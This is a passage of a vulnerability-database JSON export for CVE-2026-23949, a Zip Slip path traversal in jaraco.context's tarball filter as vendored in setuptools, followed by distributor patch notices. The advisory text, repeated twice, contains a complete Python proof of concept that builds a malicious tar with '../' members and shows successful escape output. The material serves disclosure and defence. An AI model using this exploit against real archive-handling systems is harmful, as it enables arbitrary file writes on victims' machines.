print(f\\\"{subindent}{file} (binary)\\\")\n        else:\n            print(f\\\"[!] Target directory not found!\\\")\n\n        print()\n        print(\\\"[*] Checking for traversal attempts...\\\")\n        print()\n\n        # Check if files escaped\n        traversal_attempts = [\n            (\\\"/tmp/pwned_by_zipslip.txt\\\", \\\"Escape to /tmp\\\"),\n            (os.path.expanduser(\\\"~/pwned_home.txt\\\"), \\\"Escape to home\\\"),\n            (os.path.join(temp_base, \\\"escaped.txt\\\"), \\\"Escape to parent\\\"),\n        ]\n\n        escaped = False\n        for check_path, description in traversal_attempts:\n            if os.path.exists(check_path):\n                print(f\\\"[+] Path Traversal Confirmed: {description}\\\")\n                print(f\\\"      File created at: {check_path}\\\")\n                try:\n                    with open(check_path, 'r') as f:\n                        content = f.read()\n                    print(f\\\"      Content: {content}\\\")\n                    print(f\\\"      Removing: {check_path}\\\")\n                    os.remove(check_path)\n                except Exception as e:\n                    print(f\\\"      Error reading: {e}\\\")\n                escaped = True\n            else:\n                print(f\\\"[-] OK: {description} - No escape detected\\\")\n\n        if escaped:\n            print(\\\"[+] EXPLOIT SUCCESSFUL - Path traversal vulnerability confirmed!\\\")\n        else:\n            print(\\\"[-] No path traversal detected (mitigation in place)\\\")\n\n    finally:\n        # Cleanup\n        print()\n        print(f\\\"[*] Cleaning up: {temp_base}\\\")\n        try:\n            shutil.rmtree(temp_base)\n        except Exception as e:\n            print(f\\\"[!] Cleanup error: {e}\\\")\n\n\ndef check_python_version():\n    print(f\\\"[+] Python version: {sys.version}\\\")\n    # Python 3.11.4+ added DEFAULT_FILTER\n    if hasattr(tarfile, 'DEFAULT_FILTER'):\n        print(\\\"[+] Python has DEFAULT_FILTER (tarfile security hardening)\\\")\n    else:\n        print(\\\"[!] Python does not have DEFAULT_FILTER (older version)\\\")\n    print()\n\n\nif __name__ == \\\"__main__\\\":\n    check_python_version()\n    exploit_zipslip()\n```\n\nOutput:\n```\n[+] Python version: 3.11.2 (main, Apr 28 2025, 14:11:48) [GCC 12.2.0] \n[!] Python does not have DEFAULT_FILTER (older version) \n\n[*] Target: setuptools._vendor.jaraco.context.tarball() \n[+] Created target extraction directory: /tmp/zipslip_test_tnu3qpd5/extraction_target \n[*] Creating malicious tar archive... \n[*] Extracting: ../../tmp/pwned_by_zipslip.txt           -\u003e ../../tmp/pwned_by_zipslip.txt \n    ✓ Extracted successfully \n[*] Extracting: ../../../../home/pwned_home.txt          -\u003e ../../../../home/pwned_home.txt \n    ! PermissionError: Path traversal ATTEMPTED \n[*] Extracting: ../escaped.txt                           -\u003e ../escaped.txt \n    ✓ Extracted successfully \n[*] Extracting: legitimate_file.txt                      -\u003e legitimate_file.txt \n    ✓ Extracted successfully \n[*] Checking for extracted files... \n[*] Files in target directory (/tmp/zipslip_test_tnu3qpd5/extraction_target): \nextraction_target/ \n  legitimate_file.txt \n    └─ This file stays in target directory... \n\n[*] Checking for traversal attempts... \n\n[-] OK: Escape to /tmp - No escape detected \n[-] OK: Escape to home - No escape detected \n[+] Path Traversal Confirmed: Escape to parent \n      File created at: /tmp/zipslip_test_tnu3qpd5/escaped.txt \n      Content: [ZIPSLIP] File in parent directory! \n      Removing: /tmp/zipslip_test_tnu3qpd5/escaped.txt \n[+] EXPLOIT SUCCESSFUL - Path traversal vulnerability confirmed! \n\n[*] Cleaning up: /tmp/zipslip_test_tnu3qpd5\n```\n\n### Impact\n\n- Arbitrary file creation in filesystem (HIGH exploitability) - especially if popular packages download tar files remotely and use this package to extract files.\n- Privesc (LOW exploitability)\n- Supply-Chain attack (VARIABLE exploitability) - relevant to the first point.\n\n### Remediation\n\nI guess removing the custom filter is not feasible given the backward compatibility issues that might come up you can use a safer filter `strip_first_component` that skips or sanitizes `../` character sequences since it is already there eg.\n```\nif member.name.startswith('/') or '..' in member.name:\n  raise ValueError(f\\\"Attempted path traversal detected: {member.name}\\\")\n```","status":"published","published":"2026-01-13T21:48:17Z","modified":"2026-09-10T03:50:32.59770092Z","cvss":[{"version":"3.1","score":8.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","level":"high"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T15:46:38.213481Z"},{"id":"PYSEC-2026-1469","title":"jaraco.context Has a Path Traversal Vulnerability","description":"### Summary\nThere is a Zip Slip path traversal vulnerability in the jaraco.context package affecting setuptools as well, in `jaraco.context.tarball()` function. The vulnerability may allow attackers to extract files outside the intended extraction directory when malicious tar archives are processed.\nThe strip_first_component filter splits the path on the first `/` and extracts the second component, while allowing `../` sequences. Paths like `dummy_dir/../../etc/passwd` become `../../etc/passwd`.\nNote that this suffers from a nested tarball attack as well with multi-level tar files such as `dummy_dir/inner.tar.gz`, where the inner.tar.gz includes a traversal `dummy_dir/../../config/.env` that also gets translated to `../../config/.env`.\n\nThe code can be found:\n- https://github.com/jaraco/jaraco.context/blob/main/jaraco/context/__init__.py#L74-L91\n- https://github.com/pypa/setuptools/blob/main/setuptools/_vendor/jaraco/context.py#L55-L76 (inherited)\n\nThis report was also sent to setuptools maintainers and they asked some questions regarding this.\n\nThe lengthy answer is:\n\nThe vulnerability seems to be the `strip_first_component` filter function, not the tarball function itself and has the same behavior on any tested Python version locally (from 11 to 14, as I noticed that there is a backports conditional for the tarball).\nThe stock tarball for Python 3.12+ is considered not vulnerable (until proven otherwise 😄) but here the custom filter seems to overwrite the native filtering and introduces the issue - while overwriting the updated secure Python 3.12+ behavior and giving a false sense of sanitization.\n\nThe short answer is:\n\nIf we are talking about Python \u003c 3.12 the tarball and jaraco implementations /  behaviors are relatively the same but for Python 3.12+ the jaraco implementation overwrites the native tarball protection.\n\nSampled tests:\n\u003cimg width=\"1634\" height=\"245\" alt=\"image\" src=\"https://github.com/user-attachments/assets/ce6c0de6-bb53-4c2b-818a-d77e28d2fbeb\" /\u003e\n\n### Details\n\nThe flow with setuptools in the mix:\n```\nsetuptools._vendor.jaraco.context.tarball() \u003e req = urlopen(url) \u003e with tarfile.open(fileobj=req, mode='r|*') as tf: \u003e tf.extractall(path=target_dir, filter=strip_first_component) \u003e strip_first_component (Vulnerable)\n```\n\n### PoC\n\nThis was tested on multiple Python versions \u003e 11 on a Debian GNU 12 (bookworm).\nYou can run this directly after having all the dependencies:\n```py\n#!/usr/bin/env python3\nimport tarfile\nimport io\nimport os\nimport sys\nimport shutil\nimport tempfile\nfrom setuptools._vendor.jaraco.context import strip_first_component\n\n\ndef create_malicious_tarball(traversal_to_root: str):\n    tar_data = io.BytesIO()\n    with tarfile.open(fileobj=tar_data, mode='w') as tar:\n        # Create a malicious file path with traversal sequences\n        malicious_files = [\n            # Attempt 1: Simple traversal to /tmp\n            {\n                'path': f'dummy_dir/{traversal_to_root}tmp/pwned_by_zipslip.txt',\n                'content': b'[ZIPSLIP] File written to /tmp via path traversal!',\n                'name': 'pwned_via_tmp'\n            },\n            # Attempt 2: Try to write to home directory\n            {\n                'path': f'dummy_dir/{traversal_to_root}home/pwned_home.txt',\n                'content': b'[ZIPSLIP] Attempted write to home directory',\n                'name': 'pwned_via_home'\n            },\n            # Attempt 3: Try to write to current directory parent\n            {\n                'path': 'dummy_dir/../escaped.txt',\n                'content': b'[ZIPSLIP] File in parent directory!',\n                'name': 'pwned_escaped'\n            },\n            # Attempt 4: Legitimate file for comparison\n            {\n                'path': 'dummy_dir/legitimate_file.txt',\n                'content': b'This file stays in target directory',\n                'name': 'legitimate'\n            }\n        ]\n        for file_info in malicious_files:\n            content = file_info['content']\n            tarinfo = tarfile.TarInfo(name=file_info['path'])\n            tarinfo.size = len(content)\n            tar.addfile(tarinfo, io.BytesIO(content))\n\n    tar_data.seek(0)\n    return tar_data\n\n\ndef exploit_zipslip():\n    print(\\\"[*] Target: setuptools._vendor.jaraco.context.tarball()\\\")\n\n    # Create temporary directory for extraction\n    temp_base = tempfile.mkdtemp(prefix=\\\"zipslip_test_\\\")\n    target_dir = os.path.join(temp_base, \\\"extraction_target\\\")\n\n    try:\n        os.mkdir(target_dir)\n        print(f\\\"[+] Created target extraction directory: {target_dir}\\\")\n\n        target_dir_abs = os.path.abspath(target_dir)\n        print(target_dir_abs)\n        depth_to_root = len([p for p in target_dir_abs.split(os.sep) if p])\n        traversal_to_root = \\\"../\\\" * depth_to_root\n        print(f\\\"[+] Using traversal_to_root prefix: {traversal_to_root!r}\\\")\n\n        # Create malicious tarball\n        print(\\\"[*] Creating malicious tar archive...\\\")\n        tar_data = create_malicious_tarball(traversal_to_root)\n\n        try:\n            with tarfile.open(fileobj=tar_data, mode='r') as tf:\n                for member in tf:\n                    # Apply the ACTUAL vulnerable function from setuptools\n                    processed_member = strip_first_component(member, target_dir)\n                    print(f\\\"[*] Extracting: {member.name:40} -\u003e {processed_member.name}\\\")\n\n                    # Extract to target directory\n                    try:\n                        tf.extract(processed_member, path=target_dir)\n                        print(f\\\"    ✓ Extracted successfully\\\")\n                    except (PermissionError, FileNotFoundError, OSError) as e:\n                        print(f\\\"    ! {type(e).__name__}: Path traversal ATTEMPTED\\\")\n        except Exception as e:\n            print(f\\\"[!] Extraction raised exception: {type(e).__name__}: {e}\\\")\n\n        # Check results\n        print(\\\"[*] Checking for extracted files...\\\")\n\n        # Check target directory\n        print(f\\\"[*] Files in target directory ({target_dir}):\\\")\n        if os.path.exists(target_dir):\n            for root, _, files in os.walk(target_dir):\n                level = root.replace(target_dir, '').count(os.sep)\n                indent = ' ' * 2 * level\n                print(f\\\"{indent}{os.path.basename(root)}/\\\")\n                subindent = ' ' * 2 * (level + 1)\n                for file in files:\n                    filepath = os.path.join(root, file)\n                    try:\n                        with open(filepath, 'r') as f:\n                            content = f.read()[:50]\n                        print(f\\\"{subindent}{file}\\\")\n                        print(f\\\"{subindent}  └─ {content}...\\\")\n                    except:\n                        print(f\\\"{subindent}{file} (binary)\\\")\n        else:\n            print(f\\\"[!] Target directory not found!\\\")\n\n        print()\n        print(\\\"[*] Checking for traversal attempts...\\\")\n        print()\n\n        # Check if files escaped\n        traversal_attempts = [\n            (\\\"/tmp/pwned_by_zipslip.txt\\\", \\\"Escape to /tmp\\\"),\n            (os.path.expanduser(\\\"~/pwned_home.txt\\\"), \\\"Escape to home\\\"),\n            (os.path.join(temp_base, \\\"escaped.txt\\\"), \\\"Escape to parent\\\"),\n        ]\n\n        escaped = False\n        for check_path, description in traversal_attempts:\n            if os.path.exists(check_path):\n                print(f\\\"[+] Path Traversal Confirmed: {description}\\\")\n                print(f\\\"      File created at: {check_path}\\\")\n                try:\n                    with open(check_path, 'r') as f:\n                        content = f.read()\n                    print(f\\\"      Content: {content}\\\")\n                    print(f\\\"      Removing: {check_path}\\\")\n                    os.remove(check_path)\n                except Exception as e:\n                    print(f\\\"      Error reading: {e}\\\")\n                escaped = True\n            else:\n                print(f\\\"[-] OK: {description} - No escape detected\\\")\n\n        if escaped:\n            print(\\\"[+] EXPLOIT SUCCESSFUL - Path traversal vulnerability confirmed!\\\")\n        else:\n            print(\\\"[-] No path traversal detected (mitigation in place)\\\")\n\n    finally:\n        # Cleanup\n        print()\n        print(f\\\"[*] Cleaning up: {temp_base}\\\")\n        try:\n            shutil.rmtree(temp_base)\n        except Exception as e:\n            print(f\\\"[!] Cleanup error: {e}\\\")\n\n\ndef check_python_version():\n    print(f\\\"[+] Python version: {sys.version}\\\")\n    # Python 3.11.4+ added DEFAULT_FILTER\n    if hasattr(tarfile, 'DEFAULT_FILTER'):\n        print(\\\"[+] Python has DEFAULT_FILTER (tarfile security hardening)\\\")\n    else:\n        print(\\\"[!] Python does not have DEFAULT_FILTER (older version)\\\")\n    print()\n\n\nif __name__ == \\\"__main__\\\":\n    check_python_version()\n    exploit_zipslip()\n```\n\nOutput:\n```\n[+] Python version: 3.11.2 (main, Apr 28 2025, 14:11:48) [GCC 12.2.0] \n[!] Python does not have DEFAULT_FILTER (older version) \n\n[*] Target: setuptools._vendor.jaraco.context.tarball() \n[+] Created target extraction directory: /tmp/zipslip_test_tnu3qpd5/extraction_target \n[*] Creating malicious tar archive... \n[*] Extracting: ../../tmp/pwned_by_zipslip.txt           -\u003e ../../tmp/pwned_by_zipslip.txt \n    ✓ Extracted successfully \n[*] Extracting: ../../../../home/pwned_home.txt          -\u003e ../../../../home/pwned_home.txt \n    ! PermissionError: Path traversal ATTEMPTED \n[*] Extracting: ../escaped.txt                           -\u003e ../escaped.txt \n    ✓ Extracted successfully \n[*] Extracting: legitimate_file.txt                      -\u003e legitimate_file.txt \n    ✓ Extracted successfully \n[*] Checking for extracted files... \n[*] Files in target directory (/tmp/zipslip_test_tnu3qpd5/extraction_target): \nextraction_target/ \n  legitimate_file.txt \n    └─ This file stays in target directory... \n\n[*] Checking for traversal attempts... \n\n[-] OK: Escape to /tmp - No escape detected \n[-] OK: Escape to home - No escape detected \n[+] Path Traversal Confirmed: Escape to parent \n      File created at: /tmp/zipslip_test_tnu3qpd5/escaped.txt \n      Content: [ZIPSLIP] File in parent directory! \n      Removing: /tmp/zipslip_test_tnu3qpd5/escaped.txt \n[+] EXPLOIT SUCCESSFUL - Path traversal vulnerability confirmed! \n\n[*] Cleaning up: /tmp/zipslip_test_tnu3qpd5\n```\n\n### Impact\n\n- Arbitrary file creation in filesystem (HIGH exploitability) - especially if popular packages download tar files remotely and use this package to extract files.\n- Privesc (LOW exploitability)\n- Supply-Chain attack (VARIABLE exploitability) - relevant to the first point.\n\n### Remediation\n\nI guess removing the custom filter is not feasible given the backward compatibility issues that might come up you can use a safer filter `strip_first_component` that skips or sanitizes `../` character sequences since it is already there eg.\n```\nif member.name.startswith('/') or '..' in member.name:\n  raise ValueError(f\\\"Attempted path traversal detected: {member.name}\\\")\n```","status":"published","published":"2026-07-07T16:03:18.501232Z","modified":"2026-07-07T17:46:45.986582757Z","cvss":[{"version":"3.1","score":8.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","level":"high"}],"updated_at":"2026-11-02T15:52:55.06457Z"},{"id":"ROOT-APP-PYPI-CVE-2026-23949","title":"CVE-2026-23949 in jaraco.context - Patched by Root","description":"Root has patched CVE-2026-23949 in the jaraco.context package for Root:PyPI. Multiple fixed versions available.","status":"published","published":"2026-10-29T07:37:27Z","modified":"2026-10-29T08:15:03.157603025Z","cvss":[{"version":"3.1","score":8.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","level":"high"}],"updated_at":"2026-11-02T15:53:27.940619Z"},{"id":"ROOT-APP-PYPI-GHSA-58pv-8j8x-9vj2","title":"GHSA-58pv-8j8x-9vj2 in jaraco.context - Patched by Root","description":"Root has patched GHSA-58pv-8j8x-9vj2 in the jaraco.context package for Root:PyPI. Multiple fixed versions available.","status":"published","published":"2026-10-29T07:37:27Z","modified":"2026-10-29T08:15:04.19737599Z","cvss":[{"version":"3.1","score":8.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","level":"high"}],"updated_at":"2026-11-02T15:53:28.259095Z"},{"id":"ROOT-OS-DEBIAN-13-CVE-2026-23949","title":"CVE-2026-23949 in setuptools - Patched by Root","description":"Root has patched CVE-2026-23949 in the setuptools package for Root:Debian:13. Multiple fixed versions available.","status":"published","published":"2026-08-24T16:33:21Z","modified":"2026-08-24T18:45:21.48452469Z","cvss":[{"version":"3.1","score":8.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","level":"high"}],"updated_at":"2026-11-02T15:53:33.415244Z"},{"id":"UBUNTU-CVE-2026-23949","description":"jaraco.context, an open-source software package that provides some useful decorators and context managers, has a Zip Slip path traversal vulnerability in the `jaraco.context.tarball()` function starting in version 5.2.0 and prior to version 6.1.0. The vulnerability may allow attackers to extract files outside the intended extraction directory when malicious tar archives are processed. The strip_first_component filter splits the path on the first `/` and extracts the second component, while allowing `../` sequences. Paths like `dummy_dir/../../etc/passwd` become `../../etc/passwd`. Note that this suffers from a nested tarball attack as well with multi-level tar files such as `dummy_dir/inner.tar.gz`, where the inner.tar.gz includes a traversal `dummy_dir/../../config/.env` that also gets translated to `../../config/.env`. Version 6.1.0 contains a patch for the issue.","status":"published","published":"2026-01-20T01:15:00Z","modified":"2026-02-04T03:02:10.068718Z","cvss":[{"version":"3.1","score":8.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","level":"high"}],"updated_at":"2026-11-02T16:56:08.726452Z"},{"id":"CLSA-2026-1772496730","title":"TuxCare security update for jaraco-context (1 CVE)","description":"TuxCare rebuilt jaraco-context to address 1 CVE. Fixed in 5.3.0.post1+tuxcare.","status":"published","published":"2026-08-04T14:52:09Z","modified":"2026-10-15T09:48:04.973267819Z","updated_at":"2026-11-02T15:43:43.249928Z"},{"id":"openSUSE-SU-2026:10077-1","title":"python311-jaraco.context-6.1.0-1.1 on GA media","description":"These are all security issues fixed in the python311-jaraco.context-6.1.0-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-01-21T00:00:00Z","modified":"2026-03-23T04:54:25.576428Z","updated_at":"2026-11-02T16:58:38.101535Z"},{"id":"openSUSE-SU-2026:20095-1","title":"Security update for python-jaraco.context","description":"This update for python-jaraco.context fixes the following issues:\n\n- CVE-2026-23949: Fixed malicious tar archives may lead to path traversal (bsc#1256954).\n","status":"published","published":"2026-01-23T10:43:43Z","modified":"2026-03-23T04:54:43.906163Z","updated_at":"2026-11-02T16:58:41.463445Z"},{"id":"SUSE-SU-2026:20139-1","title":"Security update for python-jaraco.context","description":"This update for python-jaraco.context fixes the following issues:\n\n- CVE-2026-23949: Fixed malicious tar archives may lead to path traversal (bsc#1256954).\n","status":"published","published":"2026-01-23T10:43:48Z","modified":"2026-03-23T04:52:37.95524Z","updated_at":"2026-11-02T15:54:01.610851Z"},{"id":"USN-7979-1","title":"jaraco.context vulnerability","description":"It was discovered that jaraco.context incorrectly handled certain zip file\npaths. An attacker could possibly use this issue to extract arbitrary files\noutside of the intented extraction directory.","status":"published","published":"2026-01-27T12:57:24Z","modified":"2026-02-10T04:50:48Z","updated_at":"2026-11-02T16:58:22.951676Z"}]}}
